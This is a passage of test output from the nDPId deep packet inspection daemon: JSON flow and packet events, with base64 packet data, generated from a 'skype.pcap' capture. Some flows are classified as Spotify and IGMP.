+00425{"flow_id":306,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3125,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":915280,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0BKJAAEAG9dDAqAEiUA4uecPeET+tjIeoG6N244AQECo94gAAAQEICj4ktSUAA1g5"} +00427{"flow_id":305,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3126,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":915504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0F\/xAAEAG4nbAqAEiUA4uecPdET\/5wLpnrY8XW4ARECiMlwAAAQEICj4ktSUAA1gu"} +00445{"flow_id":306,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3127,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":921396,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"0NQSxnP1PBXCt3IOCABFAABCWNZAAEAGoY7AqAEiUA4uecPeET+tjIeoG6N244AYECrPxwAAAQEICj4ktSsAA1g5jXVY7ifiedPv2XvGekQ="} +00439{"flow_id":305,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3130,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":939531,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8NG1AAEAGxf3AqAEiUA4uecPdET\/5wLpfrY8XW4AZECgHbAAAAQEICj4ktTwAA1guNacy1AseEXM="} +00449{"flow_id":306,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3131,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969785,"pkt_ts_usec":7512,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"PBXCt3IO0NQSxnP1CABFAABGog5AAHQGJFJQDi55wKgBIhE\/w94bo3bjrYyHtoAY\/60jpAAAAQEICgADWDk+JLUrUIGfVJQMb4RcIwfsP0DynKE4"} +00423{"flow_id":306,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3132,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969785,"pkt_ts_usec":7614,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0uLJAAEAGQcDAqAEiUA4uecPeET+tjIe2G6N29YAQECk9aAAAAQEICj4ktYAAA1g5"} +00479{"flow_id":263,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3134,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969785,"pkt_ts_usec":7879,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"0NQSxnP1PBXCt3IOCABFAABZYwJAAEAGsJTAqAEiUYUTucPMrY9zRWMuLqF384AYECqR9QAAAQEICj4ktYACsDcjItvxJQyu2woaBbPDq4\/tLVU1QqPtISTIGmQHTgiWkvi2inq8lw=="} +00479{"flow_id":306,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3135,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969785,"pkt_ts_usec":7879,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"0NQSxnP1PBXCt3IOCABFAABZg4hAAEAGdsXAqAEiUA4uecPeET+tjIe2G6N29YAYECm6HAAAAQEICj4ktYAAA1g5DUamZv\/87VI+zPxWWvrFeM7UurIfLjSihN6s+tOdFeE86MjyiA=="} +00428{"flow_id":306,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3139,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969785,"pkt_ts_usec":208077,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0ohJAAHQGJGBQDi55wKgBIhE\/w94bo3b1rYyH24AQ\/4hN3wAAAQEICgADWD0+JLWA"} +00438{"flow_id":305,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3142,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969786,"pkt_ts_usec":96400,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8INNAAEAG2ZfAqAEiUA4uecPdET\/5wLpfrY8XW4AZECgC6wAAAQEICj4kub0AA1guNacy1AseEXM="} +00439{"flow_id":305,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3145,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":202181,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8u11AAEAGPw3AqAEiUA4uecPdET\/5wLpfrY8XW4AZECj6sQAAAQEICj4kwfYAA1guNacy1AseEXM="} +00438{"flow_id":297,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3150,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":313527,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA88FlAAEAGx8LAqAEiBfi63cPZeSJOVOlk1JnUs4AZECrfuwAAAQEICj4kwmUAAHDpAn7P43BvMd8="} +00426{"flow_id":297,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3157,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":429517,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA03Q1AAHIGqRYF+LrdwKgBInkiw9nUmdS7TlTpbYAQQ7YgMQAAAQEICgAAcZg+JMJl"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3161,"source":"skype.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":1,"flow_first_seen":1431969788519,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":307,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3161,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":519346,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABIkIwAAEARZW3AqAFcwKgB\/+EV4RUANFGUU3BvdFVkcDB5FYpWEIvHwwABAARIlcIDhMAbG8d8ZX7RWey9o+VAQ2IEJyw="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3161,"source":"skype.pcap","alias":"nDPId-test","flow_id":307,"flow_packet_id":1,"flow_first_seen":1431969788519,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00459{"flow_id":306,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3166,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":717718,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMeSRAAEAGgTbAqAEiUA4uecPeET+tjIfbG6N29YAYECn1lwAAAQEICj4kw\/gAA1g9wFsSni5WKW4ffF04tPxwhn8niMHYoouN"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3167,"source":"skype.pcap","alias":"nDPId-test","flow_id":308,"flow_packet_id":1,"flow_first_seen":1431969788719,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"78.202.226.115","src_port":50143,"dst_port":29059,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":308,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3167,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":719766,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAtCpAAEAGk4XAqAEiTsric8PfcYPq0olRAAAAALAC\/\/+YTgAAAgQFtAEDAwUBAQgKPiTD+gAAAAAEAgAA"} +00438{"flow_id":308,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3171,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":813213,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8euxAAHMGmcdOyuJzwKgBInGDw984j2+76tKJUqASIAAVbgAAAgQFrAEDAwgEAggKAlDJPj4kw\/o="} +00425{"flow_id":308,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3172,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":813318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA00tZAAEAGdOXAqAEiTsric8PfcYPq0olSOI9vvIAQECxTqwAAAQEICj4kxFYCUMk+"} +00530{"flow_id":308,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3173,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":813864,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"0NQSxnP1PBXCt3IOCABFAAB\/ylBAAEAGfSDAqAEiTsric8PfcYPq0olSOI9vvIAYECyzcQAAAQEICj4kxFYCUMk+GO7O\/LwBpCU408nsYZbR1kGJWcDOe8PLod1VtwuIK6kUauDdelAbFohyC13n95Fd7TrjOEnmn8RlUhsQQX5XHN1qU+g5Fg90VYKL"} +00504{"flow_id":308,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3174,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":891675,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"PBXCt3IO0NQSxnP1CABFAABteu1AAHMGmZVOyuJzwKgBInGDw984j2+86tKJnYAYAQJo0gAAAQEICgJQyUY+JMRWAMl+YAu1wlc0qNu4qyJaeuU6\/hIkwS43dve99RbqiXOASapEi6IeTs6lx+ckYj8YVk+0lcLLAHHu"} +00425{"flow_id":308,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3175,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":891747,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0CbtAAEAGPgHAqAEiTsric8PfcYPq0omdOI9v9YAQECpS0wAAAQEICj4kxKQCUMlG"} +00437{"flow_id":308,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3176,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":892295,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vnJAAEAGiUHAqAEiTsric8PfcYPq0omdOI9v9YAYECqjWQAAAQEICj4kxKQCUMlGXTwVWHHTywE="} +00429{"flow_id":306,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3177,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969788,"pkt_ts_usec":929483,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0omJAAHQGJBBQDi55wKgBIhE\/w94bo3b1rYyH84AQ\/3A\/QgAAAQEICgADWGI+JMP4"} +00437{"flow_id":308,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3180,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":337122,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8yZdAAEAGfhzAqAEiTsric8PfcYPq0omdOI9v9YAYECqhngAAAQEICj4kxl8CUMlGXTwVWHHTywE="} +00432{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3181,"source":"skype.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":1,"flow_first_seen":1431969789358,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00400{"flow_id":309,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3181,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":358221,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAABoPPBbTu2CABG2AAgAAAAAAECgljAqAD+4AAAAZQEAAARZO6bAAAAAA=="} +00464{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3181,"source":"skype.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":1,"flow_first_seen":1431969789358,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00439{"flow_id":296,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3182,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":490238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8BQxAAHMG8SxH7gfLwKgBIklPw9gmoqoEivhSCIAY\/89FjgAAAQEICgMcpms+JH+M9YwsX9kjArQ="} +00410{"flow_id":296,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3183,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":490350,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoYEBAAEAGyQzAqAEiR+4Hy8PYSU+K+FIIAAAAAFAEAAC0NAAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3185,"source":"skype.pcap","alias":"nDPId-test","flow_id":310,"flow_packet_id":1,"flow_first_seen":1431969789832,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"78.202.226.115","src_port":50144,"dst_port":29059,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":310,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3185,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":832358,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAcbhAAEAG1ffAqAEiTsric8PgcYPYQ6AmAAAAALAC\/\/+PtQAAAgQFtAEDAwUBAQgKPiTITAAAAAAEAgAA"} +00433{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3186,"source":"skype.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":1,"flow_first_seen":1431969789851,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00400{"flow_id":311,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3186,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":851535,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAD7PBXCt3IOCABGAAAgDOsAAAECdSfAqAEi4AAA+5QEAAAWAAkE4AAA+w=="} +00465{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3186,"source":"skype.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":1,"flow_first_seen":1431969789851,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"224.0.0.251","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00437{"flow_id":310,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3187,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":919493,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8evFAAHMGmcJOyuJzwKgBInGDw+BU8I6O2EOgJ6ASIADRMgAAAgQFrAEDAwgEAggKAlDJrD4kyEw="} +00425{"flow_id":310,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3188,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":919575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0W4RAAEAG7DfAqAEiTsric8PgcYPYQ6AnVPCOj4AQECwPdQAAAQEICj4kyKMCUMms"} +00528{"flow_id":310,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3189,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969789,"pkt_ts_usec":919738,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"0NQSxnP1PBXCt3IOCABFAAB91URAAEAGci7AqAEiTsric8PgcYPYQ6AnVPCOj4AYECy3rQAAAQEICj4kyKMCUMmscN6y6QrZswAe8uR7xBV73FcFbEjUmlrtmODaJOIr8ibpApC0LYZk5IgMI2xrpqlIANoyTT+7zlMqyp64IMDhlnfh3EUr2eSqug=="} +00497{"flow_id":310,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3191,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":9203,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"PBXCt3IO0NQSxnP1CABFAABoevJAAHMGmZVOyuJzwKgBInGDw+BU8I6P2EOgcIAYAQJFEgAAAQEICgJQybU+JMijUVyBgSx+3D54OuAo1D7iw4Aj0qjIUYJ++8pz3Q1JlsOrt2wLDGjPfXs6z2fx74aClNPxGg=="} +00423{"flow_id":310,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3192,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":9289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Ui1AAEAG9Y7AqAEiTsric8PgcYPYQ6BwVPCOw4AQECoOmAAAAQEICj4kyPwCUMm1"} +00423{"flow_id":308,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3193,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":9694,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0F6hAAEAGMBTAqAEiTsric8PfcYPq0omlOI9v9YARECpOcgAAAQEICj4kyPwCUMlG"} +00443{"flow_id":310,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3194,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":9893,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"0NQSxnP1PBXCt3IOCABFAABCXAdAAEAG66bAqAEiTsric8PgcYPYQ6BwVPCOw4AYECq9pwAAAQEICj4kyPwCUMm1+clsC12ooYX9dpbYV4c="} +00438{"flow_id":308,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3195,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":24440,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8STtAAEAG\/njAqAEiTsric8PfcYPq0omdOI9v9YAZECqe8QAAAQEICj4kyQsCUMlGXTwVWHHTywE="} +00449{"flow_id":310,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3198,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":113900,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"PBXCt3IO0NQSxnP1CABFAABGevNAAHMGmbZOyuJzwKgBInGDw+BU8I7D2EOgfoAYAQJL7AAAAQEICgJQycA+JMj85B1AD7Yh11vFcRSt2PscRlCV"} +00425{"flow_id":310,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3199,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":113937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0d4BAAEAG0DvAqAEiTsric8PgcYPYQ6B+VPCO1YAQECkOBgAAAQEICj4kyWQCUMnA"} +00481{"flow_id":306,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3201,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":114161,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABatdFAAEAGRHvAqAEiUA4uecPeET+tjIfzG6N29YAYECmb+AAAAQEICj4kyWQAA1hifTbI4b849r0Z6HNaXt511AAet\/le4HJTHAL9N8aHdVz2tM4Ti8A="} +00481{"flow_id":310,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3202,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":114162,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABasxhAAEAGlH3AqAEiTsric8PgcYPYQ6B+VPCO1YAYECkXxgAAAQEICj4kyWQCUMnAUpcNCAW+AlT8l6ef3Tnus32Uj+I\/QBcb+Te0nPH79Jc0Kq8IQs0="} +00426{"flow_id":310,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3204,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969790,"pkt_ts_usec":244352,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0evRAAHMGmcdOyuJzwKgBInGDw+BU8I7V2EOgpIAQAQIc+gAAAQEICgJQyc0+JMlk"} 